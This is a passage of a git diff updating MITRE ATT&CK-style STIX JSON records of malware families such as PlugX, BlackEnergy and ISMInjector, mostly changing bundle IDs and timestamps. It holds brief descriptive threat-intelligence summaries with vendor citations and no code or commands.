+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regin",
             "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin",
             "labels": [
diff --git a/enterprise-attack/malware/malware--4e6b9625-bbda-4d96-a652-b3bb45453f26.json b/enterprise-attack/malware/malware--4e6b9625-bbda-4d96-a652-b3bb45453f26.json
new file mode 100644
index 0000000000..7adb9c18b3
--- /dev/null
+++ b/enterprise-attack/malware/malware--4e6b9625-bbda-4d96-a652-b3bb45453f26.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--71137241-9c1d-4d4d-9049-a73864f99f29",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "RemoteCMD",
+            "description": "is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality.  (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0166",
+                    "external_id": "S0166"
+                },
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "RemoteCMD"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47.json b/enterprise-attack/malware/malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47.json
index 582bbf9253..6ad719f28e 100644
--- a/enterprise-attack/malware/malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47.json
+++ b/enterprise-attack/malware/malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8082923a-db41-4cc2-bc7f-2568a06025bb",
+    "id": "bundle--badb4b49-1f42-4190-8302-a068c165971b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:25.209Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TEXTMATE",
             "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2.json b/enterprise-attack/malware/malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2.json
index 56eaf8ad60..fbdd9b84cd 100644
--- a/enterprise-attack/malware/malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2.json
+++ b/enterprise-attack/malware/malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da95f47d-d4eb-4eb6-9a6b-5f1991c58d14",
+    "id": "bundle--a71fd398-421f-4020-9d57-74ad8e18bd98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:27.787Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NETEAGLE",
             "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)\n\nAliases: NETEAGLE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4.json b/enterprise-attack/malware/malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4.json
index 0c6572d573..9a13ec2480 100644
--- a/enterprise-attack/malware/malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4.json
+++ b/enterprise-attack/malware/malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98147aa7-b3ba-4564-bc13-29493e13719c",
+    "id": "bundle--9372ee09-f997-4291-b747-9856573bb888",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:57.807Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BlackEnergy",
             "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)\n\nAliases: BlackEnergy, Black Energy",
             "labels": [
diff --git a/enterprise-attack/malware/malware--552462b9-ae79-49dd-855c-5973014e157f.json b/enterprise-attack/malware/malware--552462b9-ae79-49dd-855c-5973014e157f.json
index ebafe8c08a..759abdd1ff 100644
--- a/enterprise-attack/malware/malware--552462b9-ae79-49dd-855c-5973014e157f.json
+++ b/enterprise-attack/malware/malware--552462b9-ae79-49dd-855c-5973014e157f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f3383e4-3869-4314-bce0-c8031a8e7aad",
+    "id": "bundle--e47f5f42-7479-4b95-b90a-e83176447cc9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--552462b9-ae79-49dd-855c-5973014e157f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.949Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Zeroaccess",
             "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess",
             "labels": [
diff --git a/enterprise-attack/malware/malware--56f46b17-8cfa-46c0-b501-dd52fef394e2.json b/enterprise-attack/malware/malware--56f46b17-8cfa-46c0-b501-dd52fef394e2.json
index fdb46da1b8..42aed50290 100644
--- a/enterprise-attack/malware/malware--56f46b17-8cfa-46c0-b501-dd52fef394e2.json
+++ b/enterprise-attack/malware/malware--56f46b17-8cfa-46c0-b501-dd52fef394e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--320d16e4-1380-444b-8e1a-51c6c02bf113",
+    "id": "bundle--353ee76f-2fea-4db9-b5e5-710d319baf0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:47.879Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ASPXSpy",
             "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool",
             "labels": [
diff --git a/enterprise-attack/malware/malware--58adaaa8-f1e8-4606-9a08-422e568461eb.json b/enterprise-attack/malware/malware--58adaaa8-f1e8-4606-9a08-422e568461eb.json
index 7895888b0a..16c8ecf151 100644
--- a/enterprise-attack/malware/malware--58adaaa8-f1e8-4606-9a08-422e568461eb.json
+++ b/enterprise-attack/malware/malware--58adaaa8-f1e8-4606-9a08-422e568461eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c98ae8e-cbbb-4bb9-b58e-7c340fb7e7fd",
+    "id": "bundle--155aa615-ab1c-4b2a-9a63-b507e59f4a79",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:42.754Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SHOTPUT",
             "description": "SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc.json b/enterprise-attack/malware/malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc.json
index 33c4381079..96a522ada2 100644
--- a/enterprise-attack/malware/malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc.json
+++ b/enterprise-attack/malware/malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--482ebcf5-580a-4590-b58a-483405a25992",
+    "id": "bundle--d528a3eb-aaac-498e-ae58-13ab0f0f1719",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:56.860Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hi-Zor",
             "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)\n\nAliases: Hi-Zor",
             "labels": [
diff --git a/enterprise-attack/malware/malware--59a97b15-8189-4d51-9404-e1ce8ea4a069.json b/enterprise-attack/malware/malware--59a97b15-8189-4d51-9404-e1ce8ea4a069.json
index dffe314a80..ae25be8df7 100644
--- a/enterprise-attack/malware/malware--59a97b15-8189-4d51-9404-e1ce8ea4a069.json
+++ b/enterprise-attack/malware/malware--59a97b15-8189-4d51-9404-e1ce8ea4a069.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2426dbfc-c9b4-41d2-8a74-22acc208ee7f",
+    "id": "bundle--18375d88-af98-477d-8bc0-b3f16b7e1ba1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XAgentOSX",
             "description": " (Citation: XAgentOSX) is a trojan that has been used by APT28  on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)\n\nAliases:  (Citation: XAgentOSX)",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70.json b/enterprise-attack/malware/malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70.json
index 10dcb7eba6..e5d532833a 100644
--- a/enterprise-attack/malware/malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70.json
+++ b/enterprise-attack/malware/malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b1407111-b82c-4dac-8e0d-db4467d1ee0f",
+    "id": "bundle--08e2ee69-d3ae-41ef-add4-6eb8c98b4709",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:18.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "China Chopper",
             "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups, including Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: China Chopper",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5a84dc36-df0d-4053-9b7c-f0c388a57283.json b/enterprise-attack/malware/malware--5a84dc36-df0d-4053-9b7c-f0c388a57283.json
index 042bd14a1d..13aea65f07 100644
--- a/enterprise-attack/malware/malware--5a84dc36-df0d-4053-9b7c-f0c388a57283.json
+++ b/enterprise-attack/malware/malware--5a84dc36-df0d-4053-9b7c-f0c388a57283.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4cca1a3-0e27-4616-b9d3-bc7eae069022",
+    "id": "bundle--cc912daa-dda7-477c-9290-228a12f72d7e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.137Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CALENDAR",
             "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5be33fef-39c0-4532-84ee-bea31e1b5324.json b/enterprise-attack/malware/malware--5be33fef-39c0-4532-84ee-bea31e1b5324.json
new file mode 100644
index 0000000000..fb54189890
--- /dev/null
+++ b/enterprise-attack/malware/malware--5be33fef-39c0-4532-84ee-bea31e1b5324.json
@@ -0,0 +1,40 @@
+{
+    "type": "bundle",
+    "id": "bundle--dd4dce6d-1b19-4668-ab09-26f8931a66c5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "ISMInjector",
+            "description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0189",
+                    "external_id": "S0189"
+                },
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "ISMInjector"
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--5e595477-2e78-4ce7-ae42-e0b059b17808.json b/enterprise-attack/malware/malware--5e595477-2e78-4ce7-ae42-e0b059b17808.json
index 61c7eeb833..6523aea690 100644
--- a/enterprise-attack/malware/malware--5e595477-2e78-4ce7-ae42-e0b059b17808.json
+++ b/enterprise-attack/malware/malware--5e595477-2e78-4ce7-ae42-e0b059b17808.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc96d29f-88fc-4330-9aff-d75ac94cfa16",
+    "id": "bundle--241f8d65-7fb1-4364-842a-7a8d62bb3327",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "POSHSPY",
             "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)\n\nAliases: POSHSPY",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c.json b/enterprise-attack/malware/malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c.json
index 6d8d735625..be5ab7e662 100644
--- a/enterprise-attack/malware/malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c.json
+++ b/enterprise-attack/malware/malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--370479fc-8c0d-4e79-b2a1-78b5cd8e7cc5",
+    "id": "bundle--3b701342-8c8e-4af2-8a75-34b27b713cc6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.919Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MiniDuke",
             "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd.json b/enterprise-attack/malware/malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd.json
index dcd762afe6..e8123e6f6e 100644
--- a/enterprise-attack/malware/malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd.json
+++ b/enterprise-attack/malware/malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4505a36-7f09-4201-85ad-e131211b2f36",
+    "id": "bundle--3447f310-80bd-4dc3-a77f-2ae3ba635d26",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:26.084Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pteranodon",
             "description": "Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)\n\nAliases: Pteranodon",
             "labels": [
diff --git a/enterprise-attack/malware/malware--60c18d06-7b91-4742-bae3-647845cd9d81.json b/enterprise-attack/malware/malware--60c18d06-7b91-4742-bae3-647845cd9d81.json
index a5b9a00184..5fdfdab074 100644
--- a/enterprise-attack/malware/malware--60c18d06-7b91-4742-bae3-647845cd9d81.json
+++ b/enterprise-attack/malware/malware--60c18d06-7b91-4742-bae3-647845cd9d81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--54c256db-b463-4bb8-9399-32face24cc2b",
+    "id": "bundle--4034a838-043c-46b2-8291-ed62219593cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:18.506Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CORESHELL",
             "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe.json b/enterprise-attack/malware/malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe.json
index 8e0a8514a0..934ee5565e 100644
--- a/enterprise-attack/malware/malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe.json
+++ b/enterprise-attack/malware/malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d586bb1-af95-4477-8a32-66b7ec2da349",
+    "id": "bundle--5f8a43ac-2f8d-4b40-b5e5-d7e6e4a7bd48",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dyre",
             "description": "Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)\n\nAliases: Dyre",
             "labels": [
diff --git a/enterprise-attack/malware/malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80.json b/enterprise-attack/malware/malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80.json
index d406b699cb..99fe14dbcf 100644
--- a/enterprise-attack/malware/malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80.json
+++ b/enterprise-attack/malware/malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--567369e0-89d7-4b58-b9ce-8af0a75afcf5",
+    "id": "bundle--9d6e674d-e691-4fab-a9b5-010d8d3deabe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:13.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BBSRAT",
             "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd.json b/enterprise-attack/malware/malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd.json
index 2d84066b5a..69979151f4 100644
--- a/enterprise-attack/malware/malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd.json
+++ b/enterprise-attack/malware/malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--195059ef-b9ab-486a-b08d-cda5d33007e6",
+    "id": "bundle--500c719d-741e-457c-a14b-69a6daf12cf1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.638Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PlugX",
             "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba",
             "labels": [
diff --git a/enterprise-attack/malware/malware--65341f30-bec6-4b1d-8abf-1a5620446c29.json b/enterprise-attack/malware/malware--65341f30-bec6-4b1d-8abf-1a5620446c29.json
new file mode 100644
index 0000000000..02724be439
--- /dev/null
+++ b/enterprise-attack/malware/malware--65341f30-bec6-4b1d-8abf-1a5620446c29.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--f5d37d37-2c95-43c6-ba30-a69171401008",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Reaver",
+            "description": "is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The malware is unique due to its final payload being in the form of a Control panel item. (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0172",
+                    "external_id": "S0172"
+                },
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Reaver"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131.json b/enterprise-attack/malware/malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131.json
index 2f7f206cc5..41e426b1cb 100644
--- a/enterprise-attack/malware/malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131.json
+++ b/enterprise-attack/malware/malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ba0b96a-a9a0-4454-be25-d89d5f17c280",
+    "id": "bundle--6ae49658-6307-40c9-9110-e819e31aa869",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.925Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "S-Type",
             "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)\n\nAliases: S-Type",
             "labels": [
diff --git a/enterprise-attack/malware/malware--67e6d66b-1b82-4699-b47a-e2efb6268d14.json b/enterprise-attack/malware/malware--67e6d66b-1b82-4699-b47a-e2efb6268d14.json
index b62534b7a3..534f2062d0 100644
--- a/enterprise-attack/malware/malware--67e6d66b-1b82-4699-b47a-e2efb6268d14.json
+++ b/enterprise-attack/malware/malware--67e6d66b-1b82-4699-b47a-e2efb6268d14.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d8e0777-4e1e-41b3-bb9b-541ab626950b",
+    "id": "bundle--0e800674-a7c0-43e4-b955-35f44b37bb59",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:37.767Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SeaDuke",
             "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)\n\nAliases: SeaDuke, SeaDaddy, SeaDesk",
             "labels": [
diff --git a/enterprise-attack/malware/malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6.json b/enterprise-attack/malware/malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6.json
index 7294f469ad..9dcd48c2b6 100644
